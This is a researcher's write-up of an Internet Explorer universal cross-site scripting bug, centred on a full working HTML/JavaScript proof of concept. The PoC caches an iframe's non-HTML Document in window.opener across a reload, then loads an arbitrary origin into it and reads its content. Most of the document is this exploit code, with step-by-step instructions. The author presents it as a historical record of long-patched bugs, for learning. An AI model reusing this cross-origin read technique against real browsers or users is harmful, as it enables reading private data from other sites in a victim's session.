I was playing around with how IE handled the Document object of iframes loaded with non-HTML content — things like SWF, MHT, or XAML files. After some persistence, I found that caching that Document reference in window.opener before a page reload kept it alive and, more importantly, still controllable from the new page context. That turned out to be the “other side of the coin” from earlier frameElement UXSS work, and worse — because here you could choose exactly which URL to load into the cached document.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDom_CachedDocument_Reload</title></head>
<body>
<font face="Tahoma" size="2">
<center><h2>xDom_CachedDocument_Reload</h2></center>
<font color="red"><b>Warning</b>:</font><font color="blue"> this is not a variation of the Application xDomain
[<b>XDOM_MaskedWBControlCachedWindow</b>]. We can consider this bug, the "other side of the coin" of the previous frameElement
xDomains, but worst because now you can control the URL you want to read.</font>
<br /><br />
<center>
<input type="button" id="tryIt" value="Let's see it!" onclick="loadAndCache()"><br />
(And wait 7 seconds because we have to load the swf, cache it's Document, reload the main page, load microsoft.com inside the
cached Document, wait a little and then, show it's outerHTML)
</center>
<hr />
1) Load <font color="blue"><b>non-html</b></font> content inside an IFRAME. It can be an <u>swf</u>, <u>mht</u>, <u>xaml</u>, <u>xml</u>, etc.
(xaml and xml may lead to a crash)<br />
<font color="red">window[0]</font>.location.replace('<font color="blue">empty.swf</font>');<br /><br />

2) Cache the <font color="blue"><b>D</b></font>ocument of the IFRAME in the <b>opener</b> of the top window, so the cached object will
be available even after leaving the page.<br />
<font color="blue">opener</font> = document.all.ifrNonHtmlContent.<font color="blue"><b>D</b></font>ocument;<br /><br />
3) Reload the page.<br />
location.<font color="blue">reload</font>();<br /><br />

4) Change location of the cached <font color="blue"><b>D</b></font>ocument (remember, it's in the current opener).<br />
<font color="blue"><b>opener</b>.location</font> = 'http://www.microsoft.com';<br /><br />

5) Access the the cached <font color="blue"><b>D</b></font>ocument at will.<br />
alert(<font color="blue"><b>opener</b></font>.body.<font color="green">outerHTML</font>);
<hr />
<br />
<center>
	<iframe id="ifrNonHtmlContent" width="100" height="100"></iframe>
</center>
</font>


<script language="JavaScript">

//	This function loads non-html html content inside the IFRAME, caches it's Document and reloads the page.
//	After reloading the page, this function will not be executed.
function loadAndCache()
{
	//	You can change the fileType here. Try with the mht and it will happen the same. If you try with xaml or xml,
	//	it might work or it might crash.
	window[0].location.replace('empty.swf');

	//	We wait a little bit (file loading) and cache the Document inside the opener of the main window.
	setTimeout('opener = document.all.ifrNonHtmlContent.Document;', 1000);

	//	Then, we reload the page.
	setTimeout('location.reload();', 2000);
}


//	This function executes only after the page was reloaded. It loads an URL in the cached Document and reads the outerHTML.
function loadInsideCachedDocument()
{
	opener.location = 'http://www.microsoft.com';
	setTimeout('alert(opener.body.outerHTML); opener = null;',5000);
	// the "opener = null" is not necesary. I've placed it there so you can re-test this code just by reloading.
}


//	If we reloaded this page, the window.opener should exist and it must have the cached Document of the IFRAME.
if (window.opener)
{
	// This first line has nothing to do with the code, it's just to avoid pressing the same button again.
	document.all.tryIt.style.display = 'none';
	loadInsideCachedDocument();
}

</script>
</body>
</html>

The key insight here is that loading a non-HTML resource (like a SWF) into an iframe produces a Document object that IE does not properly invalidate when the parent page reloads. By stashing that Document reference in window.opener before the reload, it survives into the new page context. From there, setting opener.location to any origin and then reading opener.body.outerHTML bypasses the same-origin policy entirely, since the Document object still carries the old, unrestricted reference. The bug affects any non-HTML MIME type that IE would render inline in a frame.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.